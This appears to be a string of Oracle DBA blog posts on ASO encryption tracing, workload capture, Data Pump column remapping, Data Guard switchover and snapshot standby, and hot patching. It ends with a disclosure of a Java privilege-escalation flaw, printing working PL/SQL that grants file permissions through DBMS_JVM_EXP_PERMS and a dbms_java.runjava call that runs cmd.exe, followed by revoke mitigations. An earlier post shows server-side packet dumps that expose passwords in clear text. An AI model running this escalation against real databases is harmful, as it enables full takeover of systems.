SQLNET.ORA file:

/* ASO Encryption */

SQLNET.CRYPTO_SEED = “fsdfsdfsdfsdfsdfsdfsdfsdfwrewrwerwerwesdfsdfsdfsd”
SQLNET.ENCRYPTION_SERVER = REQUIRED
SQLNET.ENCRYPTION_CLIENT = REQUIRED
SQLNET.ENCRYPTION_TYPES_SERVER = (RC4_256)
SQLNET.ENCRYPTION_TYPES_CLIENT = (RC4_256)

/* ASO Checksumm */

SQLNET.CRYPTO_CHECKSUM_SERVER = REQUIRED
SQLNET.CRYPTO_CHECKSUM_CLIENT = REQUIRED
SQLNET.CRYPTO_CHECKSUM_TYPES_SERVER = (MD5)
SQLNET.CRYPTO_CHECKSUM_TYPES_CLIENT = (MD5)

* Tracing */

TRACE_LEVEL_CLIENT = 16
TRACE_UNIQUE_CLIENT=TRUE
TRACE_TIMESTAMP_CLIENT=TRUE
TRACE_FILE_CLIENT = sqlnet
TRACE_DIRECTORY_CLIENT =C:\TRACE

My sqlnet.ora file has parameters related to encryption, checksum and client tracing.

Using sqlplus I will log into database:

C:\>sqlplus demo@demo

SQL> /

SPID   SID  USERNAME
—————-
28079   134 DEMO

quick check for this session

set linesize 145
col network_service_banner format a110
select sid,network_service_banner  from v$session_connect_info
where sid=134

SID NETWORK_SERVICE_BANNER
———- ————————————————————————————————————–
134 TCP/IP NT Protocol Adapter for Linux: Version 11.1.0.7.0 – Production
134 Oracle Advanced Security: encryption service for Linux: Version 11.1.0.7.0 – Production
134 Oracle Advanced Security: RC4_256 encryption service adapter for Linux: Version 11.1.0.7.0 – Produc
134 Oracle Advanced Security: crypto-checksumming service for Linux: Version 11.1.0.7.0 – Production
134 Oracle Advanced Security: MD5 crypto-checksumming service adapter

5 rows selected.

and from session SID 134 I will run alter statement:

SQL> alter user demo identified by demo;

Looking at  sqlnet_3872.trc file I can see      that traffic is encrypted.

25-JUN-2010 13:26:33:091] nsdo: nsctxrnk=0
[25-JUN-2010 13:26:33:091] nsdo: normal exit
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: entry
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: cid=0, opcode=85, *bl=0, *what=0, uflgs=0×0, cflgs=0×0
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: rank=64, nsctxrnk=0
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: nsctx: state=8, flg=0x400d, mvd=0
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: gtn=367, gtc=367, ptn=10, ptc=8137
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: switching to application buffer
[25-JUN-2010 13:26:33:091] nsrdr: entry
[25-JUN-2010 13:26:33:091] nsrdr: recving a packet
[25-JUN-2010 13:26:33:091] nsprecv: entry
[25-JUN-2010 13:26:33:091] nsprecv: reading from transport…
[25-JUN-2010 13:26:33:091] nttrd: entry
[25-JUN-2010 13:26:33:137] nttrd: socket 304 had bytes read=129
[25-JUN-2010 13:26:33:137] nttrd: exit
[25-JUN-2010 13:26:33:137] nsprecv: 129 bytes from transport
[25-JUN-2010 13:26:33:137] nsprecv: tlen=129, plen=129, type=6
[25-JUN-2010 13:26:33:137] nsprecv: packet dump
[25-JUN-2010 13:26:33:137] nsprecv: 00 81 00 00 06 00 00 00  |……..|
[25-JUN-2010 13:26:33:137] nsprecv: 00 00 FF 2F A9 78 83 13  |…/.x..|
[25-JUN-2010 13:26:33:137] nsprecv: C6 AE 2B B6 45 34 40 77  |..+.E4@w|
[25-JUN-2010 13:26:33:137] nsprecv: 70 DF 3D 7D AE C4 C7 D6  |p.=}….|
[25-JUN-2010 13:26:33:137] nsprecv: AC B8 07 F9 00 76 74 06  |…..vt.|
[25-JUN-2010 13:26:33:137] nsprecv: 62 CA 9A F0 76 EA 4D 17  |b…v.M.|
[25-JUN-2010 13:26:33:137] nsprecv: E2 80 54 2D FD 56 80 2C  |..T-.V.,|
[25-JUN-2010 13:26:33:137] nsprecv: 3B 19 8E FF 0A E1 59 FA  |;…..Y.|
[25-JUN-2010 13:26:33:137] nsprecv: 09 80 13 4F 38 E6 62 17  |…O8.b.|
[25-JUN-2010 13:26:33:137] nsprecv: B4 8F EF 9B EA B3 91 5E  |…….^|
[25-JUN-2010 13:26:33:137] nsprecv: A5 B9 98 54 F9 2A 0B F7  |…T.*..|
[25-JUN-2010 13:26:33:137] nsprecv: B0 B9 FE 94 6A E4 AB 0E  |….j…|
[25-JUN-2010 13:26:33:137] nsprecv: FB 23 3A 62 BB FB D7 6E  |.#:b…n|
[25-JUN-2010 13:26:33:137] nsprecv: B1 C1 89 EA 0E CD 92 C0  |……..|
[25-JUN-2010 13:26:33:137] nsprecv: C2 D8 76 99 17 77 10 CF  |..v..w..|
[25-JUN-2010 13:26:33:137] nsprecv: 35 24 17 08 B0 BD D2 00  |5$……|
[25-JUN-2010 13:26:33:137] nsprecv: 01                       |.       |
[25-JUN-2010 13:26:33:137] nsprecv: normal exit
[25-JUN-2010 13:26:33:137] nsrdr: got NSPTDA packet
[25-JUN-2010 13:26:33:137] nsrdr: NSPTDA flags: 0×0
[25-JUN-2010 13:26:33:137] nsrdr: normal exit
[25-JUN-2010 13:26:33:137] nsfull_pkt_rcv: *what=1, *bl=8145
[25-JUN-2010 13:26:33:137] nsfull_pkt_rcv: nsctxrnk=0
[25-JUN-2010 13:26:33:137] nsfull_pkt_rcv: normal exit
[25-JUN-2010 13:26:33:137] nioqrc: exit

Beside regular sqlnet client tracing Oracle introduced Event 10079 -  Dumping Oracle Net network packets.

This event can be used to enable dumps for sessions which are already established.That is what I am going to use for the purpose of this exersize.

Common dump levels are:

Level 1 – Trace network operations to/from client
Level 2 – level 1 + dump data
Level 4 – Trace operations to/from db link
Level 8 – level 4 + dump data

As always you can combine dump levels.

In my next scenario I will set event 10079 for same sql session ( SID 134) by running oradebug command
using sqlplus from Oracle Client running on Windows:

SQL> oradebug setospid 28079
Oracle pid: 29, Unix process pid: 28079, image: oracle@demo02
SQL> oradebug event 10079 trace name context forever, level 2
Statement processed.
SQL> oradebug event 10079 trace name context off
Statement processed.
SQL>

and run same alter statement again from same session SID 134

alter user demo identified by demo…

Quick look at trace file  trace file:
SQL> oradebug tracefile_name
/oracle/trace/demo_ora_28079.trc

demo_ora_28079.trc

IFCDSEND: (bp=0x9d4aaa0, bl=1, isdblink=0)
Dump of memory from 0x0000000009D4AAA0 to 0x0000000009D4AAA1
009D4AAA0 00000008                             [....]
IFCDRECV: (bp=0x7fff16e831e4, bl=1, isdblink=0)
100 bytes sent via fast-path
Dump of memory from 0x0000000017BA45A1 to 0x0000000017BA4605
017BA45A0 4E000608 040AAE15 04000000 00000000  [...N............]
017BA45B0 00000000 00000000 00000000 00000000  [................]
017BA45C0 04000000 00000001 00000018 00000000  [................]
017BA45D0 00000000 00000004 0000002B 00000000  [........+.......]
017BA45E0 00000000 00000000 00000000 00000000  [................]
017BA45F0 0100001A 00000000 00000000 00000000  [................]
017BA4600 00000000 D8C2C000                    [........]

again no password exposed.

This time I will enable event 10079 but  on Oracle Database Server itself ( on my Linux server)

SQL> oradebug setospid 28079
Oracle pid: 29, Unix process pid: 28079, image: oracle@demo02
SQL> oradebug event 10079 trace name context forever, level 2
Statement processed.

and run same alter statement from same session SID 134:

alter user demo identified by test_4bla.

checking demo_ora_28079.trc again:

181 bytes received via SQL*Net
Dump of memory from 0x00007FFF16E831E4 to 0x00007FFF16E831E5
7FFF16E831E0          00002B11                        [.+..]
Dump of memory from 0x0000000017B9DCB1 to 0x0000000017B9DD65
017B9DCB0 011D6911 00000001 00000002 211E5E03  [.i...........^.!]
017B9DCC0 00000080 01000000 0000002E 00000D01  [................]
017B9DCD0 00010100 01000000 00000000 00000000  [................]
017B9DCE0 00000000 01000100 00000101 00000000  [................]
017B9DCF0 01010000 00000000 00000000 00000000  [................]
017B9DD00 612E0000 7265746C 65737520 6D6D2072  [......alter user]
017B9DD10 6172646F 69766F6B 64692063 69746E65  [demo identified ]
017B9DD20 64656966 20796220 74736574 6C62345F  [by test_4bla....]
017B9DD30 00000161 00000100 00000000 00000000  [................]
017B9DD40 00000000 00000000 00000000 00000700  [................]
017B9DD50 00000000 00000000 00000000 00000000  [................]
017B9DD60 00000000 66154700                    [.....G.f]
IFCDSEND: (bp=0x9d4aaa0, bl=1, isdblink=0)
Dump of memory from 0x0000000009D4AAA0 to 0x0000000009D4AAA1
009D4AAA0 00000008                             [....]
IFCDRECV: (bp=0x7fff16e831e4, bl=1, isdblink=0)
100 bytes sent via fast-path

Now I can see password in clear text!! Although I have ASO enabled I can see network data UNENCRYPTED!

Here is last one that I use all the time when resetting passwords:

changing password using sqlplus and passw command

passw demo
Changing password for demo
New password:
Retype new password:
Password changed

and from trace file

866 bytes received via SQL*Net
Dump of memory from 0x00007FFF16E831E4 to 0x00007FFF16E831E5
7FFF16E831E0          00002B11                        [.+..]
Dump of memory from 0x0000000017BA2581 to 0x0000000017BA28E2
017BA2580 861F6B11 05000000 01000056 11000000  [.k......V.......]
017BA2590 01012069 03000000 03000000 0B012173  [i ..........s!..]
017BA25A0 12000000 01000001 00000007 6D0B0101  [...............m]
017BA25B0 72646F6D 766F6B61 00106369 41100000  [demo.....A]
017B425C0 5F485455 5045444E 57535341 40444424  [UTH_NEWPASSWORD@]
017BA25D0 40000000 43344443 30445462 3234843  [...@C10C16F0C862]
017BA25E0 38333137 38373844 41303043 38383143  [7138D878C00AC188]

Password is protected.

Session altered.

SQL> BEGIN dbms_workload_capture.start_capture(UNISTR(‘CAPTURE-demo-20100601134908′),UNISTR(‘DATA_PUMP_DIR’), 60, ‘INCLUDE’, FALSE); END;
/

PL/SQL procedure successfully completed.

SQL> alter session set events ‘trace[rat_wcr.*] off’;

Session altered.

and trace file ( just a snippet ) looks like:
2010-06-01 14:12:13.794034 :kecr.c@5992: kecrRecordUserCallBegin: kecrwksz = 1119
2010-06-01 14:12:13.794047 :kecr.c@2259: kecrRecordCheckPGA: Evaluate dynamic filters.
2010-06-01 14:12:13.794068 :kecr.c@9270: kecrReflectFilter: Enabling capture (from 1 to 1)
2010-06-01 14:12:13.794082 :kecr.c@9270: kecrReflectFilter: Enabling capture (from 1 to 1)
2010-06-01 14:12:13.794095 :kecr.c@9270: kecrReflectFilter: Enabling capture (from 1 to 1)
2010-06-01 14:12:13.794114 :kecr.c@2916: kecrSyncStats: DBTime kews cur       =         3339845
kecr last sync =         3339845
kews delta     =               0
prev kecrdbtm  =               0
new kecrdbtm   =               0
2010-06-01 14:12:13.794129 :kecr.c@5992: kecrRecordUserCallBegin: kecrwksz = 1199
2010-06-01 14:12:13.794408 :kecr.c@6116: kecrRecordUserCallEnd: Session 138, Parking 0
2010-06-01 14:12:13.794422 :kecr.c@2916: kecrSyncStats: DBTime kews cur       =         3342540
kecr last sync =         3339845
kews delta     =            2695
prev kecrdbtm  =               0
new kecrdbtm   =            2695

For reference ,  these are the actions related to WCR:

WCR: replay client notify
WCR: replay clock
WCR: replay lock order
WCR: Sync context busy
WCR: Record Action Switcher
WCR: Record State Check
WCR: Record SharedDir Check
WCR: Capture Stats Update
KEC  Create directory
WCR: Replay Action Switcher
WCR: Replay State Check
WCR: Replay Deadlock Detection
WCR: Replay Stats Update
WCR: Replay Admin Alive Check
WCR: Replay Send References
WCR: Replay remote commit
WCR: Abort capture on IO error
WCR: Replay remote clock propagation
WCR: RAC message context busy
WCR: capture file IO write
WCR: Sync context busy

First I am going to create simple table with two rows and pouplate it with 10000 records:
SQL> create table demo.test ( a number, b number);

Table created.

SQL> begin
for i in 1..10000 loop
insert into demo.test values (i,1);
end loop;
end;
/  2    3    4    5    6

PL/SQL procedure successfully completed.

SQL> select count(*) from demo.test;

COUNT(*)
———-
10000

SQL> commit;

Commit complete.

SQL> select * from demo.test where rownum < 10;

A          B
———- ———-
1          1
2          1
3          1
4          1
5          1
6          1
7          1
8          1
9          1

9 rows selected.

Next I am going to alter table and add new column.Also I need to insert some values into this newly created columns:
SQL> ALTER TABLE DEMO.TEST ADD (C  NUMBER);
ALTER TABLE DEMO.TEST ADD (D  NUMBER);
Table altered.

SQL>

Table altered.

SQL> desc test
Name                                      Null?    Type
—————————————– ——– —————————-
A                                                  NUMBER
B                                                  NUMBER
C                                                  NUMBER
D                                                  NUMBER

SQL>  select * from test where rownum < 10;  ( quick check )

A          B          C          D
———- ———- ———- ———-
1          1
2          1
3          1
4          1
5          1
6          1
7          1
8          1
9          1

9 rows selected.
The C and D columns are empty since I did not specified default/virtual value.

e.g.

ALTER TABLE DEMO.TEST  ADD (c  NUMBER  DEFAULT 0);
ALTER TABLE DEMO.TEST  ADD (d  NUMBER  DEFAULT 1);
When I use default/virtual value for column I run into issues with Materialiezed Views.If you do not have MW than this will work.

The other options is to run update statement and populate this columns:

e.g.

SQL> update demo.test test set c=0 , d=1;

10000 rows updated.

SQL> commit;

Commit complete.

SQL> select * from demo.test where rownum < 10;

A          B          C          D
———- ———- ———- ———-
1          1          0          1
2          1          0          1
3          1          0          1
4          1          0          1
5          1          0          1
6          1          0          1
7          1          0          1
8          1          0          1
9          1          0          1

9 rows selected.
I realized that this can take long long time for table with huge number of rows plus lot of archive and flashback logs generated.
My third approach is to use Oracle Data Pump and specificaly data masking.

So before I can run export data pump I will create data pump masking package to map new columns.In my case function will return 0 and 1:

CREATE OR REPLACE PACKAGE sys.datapump_masking_pkg
AS
FUNCTION ZERO_C (p_in NUMBER)
RETURN NUMBER;
FUNCTION ONE_D (p_in NUMBER)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY sys.datapump_masking_pkg
AS
FUNCTION ZERO_C (p_in NUMBER)
RETURN NUMBER
IS
BEGIN
RETURN 0;
END;

FUNCTION ONE_D (p_in NUMBER)
RETURN NUMBER
IS
BEGIN
RETURN 1;
END;
END;
/
so after altering table ( adding new columns ) I would run export data pump:

expdp dumpfile=demo.dmp tables=demo.test \
remap_data=demo.test.C:datapump_masking_pkg.ZERO_C \
remap_data=demo.test.D:datapump_masking_pkg.ONE_D \
LOGFILE=test.log

Note: If you need to find when last DML was run on table use ora_rowscn:
select max(ora_rowscn), scn_to_timestamp(max(ora_rowscn)) from  demo.test;

Now if I can ( depens on application etc ) I can drop table ( I am using flashback so it is easy to restore it if needed )  or
you can just load data to new table and later on rename it.

DROP TABLE demo.test;

and finaly import data:

impdp dumpfile=demo.dmp tables=demo.test logfile=demo.log
and quick check:
SQL> select * from demo.test where rownum < 10;

A          B          C          D
———- ———- ———- ———-
1825          1          0          1
1826          1          0          1
1827          1          0          1
1828          1          0          1
1829          1          0          1
1830          1          0          1
1831          1          0          1
1832          1          0          1
1833          1          0          1

9 rows selected.
My columns are there and populated with expected values.

Pros:  Faster than update statement.

It will still generate lot of archivelogs.Did not have chance to compare flashback logs generation between update and impdp.
Do not forget to purge dba recyclebin at the end if you have dropped table.

PURGE DBA_RECYCLEBIN;

SQL> select switchover_status from v$database;
SWITCHOVER_STATUS
——————
TO STANDBY ( or SESSIONS ACTIVE is also ok)


SESSIONS ACTIVE – Indicates that there are active SQL sessions attached to the primary or standby database that need to be disconnected before the switchover operation is permitted. Query the V$SESSION view to identify the specific processes that need to be terminated.

In order to perform a switchover all sessions to the database need to be disconnected.Nothing to worry because ( with session shutdown) will take care of it.

Shutdown ALL RAC instances BUT ONE before attempt a switchover!

SQL> ALTER SYSTEM ARCHIVE LOG CURRENT;

select thread#, max(sequence#) “Last Primary Seq Generated”
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread# order by 1;

SQL> alter database commit to switchover to standby with session shutdown;

2.  Shutdown the former primary and mount as a standby database:

SQL> shutdown immediate
SQL> startup mount

3.  Defer the remote archive destination on the old primary( new standby):

SQL> alter system set log_archive_dest_state_2=defer;

4.  Verify that the physical standby can be converted to the new primary:

SQL> select switchover_status from v$database;

SWITCHOVER_STATUS
——————
TO PRIMARY

Note that if the status returns SESSIONS ACTIVE then you should append the with session shutdown clause.

5.  Convert the physical standby to the new primary:

SQL> alter database commit to switchover to primary with session shutdown;

This will start ALL INSTANCES on PRIMARY database!

6.  Shutdown and startup the new primary:

SQL> shutdown immediate
SQL> startup

7.    Enable remote archiving on the new primary to the new standby( former primary ):

SQL > alter system set log_archive_dest_state_2=enable;

SQL> ALTER SYSTEM ARCHIVE LOG CURRENT;

Verify that logs are received on new standby ( old primary ):

SQL> select thread#, max(sequence#) “Last Standby Seq Received”
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread# order by 1;

8.  Start managed recover on the new standby ( old primary ) database:

SQL> ALTER DATABASE RECOVER MANAGED STANDBY DATABASE  THROUGH ALL SWITCHOVER DISCONNECT  USING CURRENT LOGFILE;

Verify that logs are applied:

PhyStdby:SQL>select thread#, max(sequence#) “Last Standby Seq Applied”
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
and val.applied=’YES’
group by thread# order by 1;

http://edelivery.oracle.com

Also you can register for Webcast to watch this live event:

http://www.oracle.com/enterprisemanager11g/index.html

http://www.oracle.com/webapps/events/EventsDetail.jsp?p_eventId=110011&src=6773871&src=6773871&Act=45

Oracle originally  had OEM 11g R1 documentation available online but it’s removed .It will be back after live event on April 22nd.

Documentation is back:

http://download.oracle.com/docs/cd/E11857_01/nav/overview.htm

Depens on Data guard configuration change protection mode:

On Primary database:
SQL> ALTER DATABASE SET STANDBY DATABASE TO MAXIMIZE  PERFORMANCE ;
SQL>  alter system archive log current;

Use these queries to check synchronization between primary and standby:

Primary: SQL> select thread#, max(sequence#) “Last Primary Seq Generated”
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread# order by 1;

PhyStdby:SQL> select thread#, max(sequence#) “Last Standby Seq Received”
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread# order by 1;

PhyStdby:SQL>select thread#, max(sequence#) “Last Standby Seq Applied”
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
and val.applied=’YES’
group by thread# order by 1;

Stop logs shipment on primary database:
ALTER SYSTEM SET log_archive_dest_state_2=’DEFER’ SCOPE=BOTH SID=’*’;

On Physical Standby:

On an Oracle Real Applications Cluster (RAC) database, shut down all but one instance.

Stop Redo Apply on standby , if it is active.

SQL> ALTER DATABASE RECOVER MANAGED STANDBY DATABASE CANCEL;

Ensure that the database is mounted, but not open.

SQL> ALTER DATABASE CONVERT TO SNAPSHOT STANDBY;

SQL> ALTER DATABASE OPEN;

Check database status:

select database_role,open_mode from v$database;

Start all instances and database services

srvctl  start service -d <database_name> -s <service_name>

Reverting back to physical standby

On an Oracle Real Applications Cluster (RAC) database, shut down all but one instance.

Then on run this on instance which is still up:

SQL> shutdown immediate

SQL> startup mount

SQL> ALTER DATABASE CONVERT TO PHYSICAL STANDBY;

SQL> shutdown immediate

SQL> startup mount

Start redo apply:

SQL> ALTER DATABASE RECOVER MANAGED STANDBY DATABASE  THROUGH ALL SWITCHOVER DISCONNECT  USING CURRENT LOGFILE;

On primary database:

Start redo transport services:

SQL> alter system set log_archive_dest_state_2=enable scope=both sid=’*’;

SQL>  alter system archive log current;

Use queries from the top to verify that all logs are received and apply.

I find these demos and tutorials very valuable .You can quickly find out what needs to be done to successfully implement particular feature without spending too much time digging Oracle documentation and other resources ( of course I strongly recommend reading Oracle Documentation before doing anything).

You can find them at  Online Demos and Online Tutorials

Oracle 11g R2 is also included.

This patch utility can be invoked by running oradebug command:

oradebug patch

Here is list of all available options which are self descriptive:

[list|install|remove|disable|enable]  <file> <temp>
temp = (disabled at restart
default=perm)
file = (in $ORACLE_HOME/hpatch/)

$ORACLE_HOME/hpatch directory contains shared libraries used by online patching.

$ORACLE_HOME/hpatch/orapatch@.cfg ( configuration file )

Oracle has dummy patch 6198642 which can be used to test online patching.You can see it on Laurent’s blog:

http://laurentschneider.com/wordpress/2007/12/oracle-11g-hot-patching.html

and more on online patching:

http://www.oracle.com/technology/deploy/availability/pdf/oracle-openworld-2007/S291525_NowakDutcher.pdf

cd $ORACLE_HOME/rdbms/admin

SQL> @prvtdumi.plb

Library created.

Package created.

No errors.

Package body created.

No errors.

1* select object_name,object_type from dba_objects where object_name like ‘%DUMA%’
SQL> /

OBJECT_NAME                                   OBJECT_TYPE
——————————————— ——————-
DUMA_LIB                                      LIBRARY
DBMS_DUMA_INTERNAL                            PACKAGE
DBMS_DUMA_INTERNAL                            PACKAGE BODY

SQL> desc dbms_duma_internal
PROCEDURE CONVERT_LONG
Argument Name                  Type                    In/Out Default?
—————————— ———————– —— ——–
TARGET_TABLE_ID                NUMBER                  IN
SOURCE_TABLE_ID                NUMBER                  IN
BUFFER_SIZE                    NUMBER                  IN     DEFAULT
DDBCS_ID                       NUMBER                  IN     DEFAULT
ROWS_TO_COMMIT                 NUMBER                  IN     DEFAULT
START_ROWID                    ROWID                   IN     DEFAULT
END_ROWID                      ROWID                   IN     DEFAULT
FLAGS                          VARCHAR2                IN     DEFAULT
FUNCTION GET_PROPERTY RETURNS NUMBER
Argument Name                  Type                    In/Out Default?
—————————— ———————– —— ——–
PROPERTY_INDEX                 NUMBER                  IN
FUNCTION READ_LONG_TO_BLOB RETURNS BLOB
Argument Name                  Type                    In/Out Default?
—————————— ———————– —— ——–
OWNER_NAME                     VARCHAR2                IN
TABLE_NAME                     VARCHAR2                IN
COLUMN_NAME                    VARCHAR2                IN
ROW_ID                         ROWID                   IN
BUFFER_SIZE                    NUMBER                  IN     DEFAULT
PROCEDURE SCAN_TABLE
Argument Name                  Type                    In/Out Default?
—————————— ———————– —— ——–
TABLE_ID                       NUMBER                  IN
SCAN_ID                        NUMBER                  IN     DEFAULT
BUFFER_SIZE                    NUMBER                  IN     DEFAULT
DDBCS_ID                       NUMBER                  IN     DEFAULT
START_ROWID                    ROWID                   IN     DEFAULT
END_ROWID                      ROWID                   IN     DEFAULT
FLAGS                          VARCHAR2                IN     DEFAULT
PROCEDURE WRITE_BLOB_TO_LONG
Argument Name                  Type                    In/Out Default?
—————————— ———————– —— ——–
SOURCE_LOB                     BLOB                    IN
OWNER_NAME                     VARCHAR2                IN
TABLE_NAME                     VARCHAR2                IN
COLUMN_NAME                    VARCHAR2                IN
ROW_ID                         ROWID                   IN
BUFFER_SIZE                    NUMBER                  IN     DEFAULT

Credit goes to David Litchfield .He found these vulnerabilities .This also affects 11g R2.

Overgenerous privileges for Java procedures allow users to escalate their own privileges, up to the point of gaining complete control over the database.

Basically  using DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS user can change their privileges in the Java policy table so that the JVM allows them to execute operating system commands and to read and write files.

Here is  code:

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

After the Java privilege escalation it is possible to run OS commands using a simple SELECT statement:

select dbms_java.runjava(’oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst’)from dual;

Oracle does not have patch for it yet but you should revoke privileges from PUBLIC for following packages:

revoke execute on DBMS_JVM_EXP_PERMS from public;
revoke execute on DBMS_JAVA from public;
revoke execute on DBMS_JAVA_TEST from  public;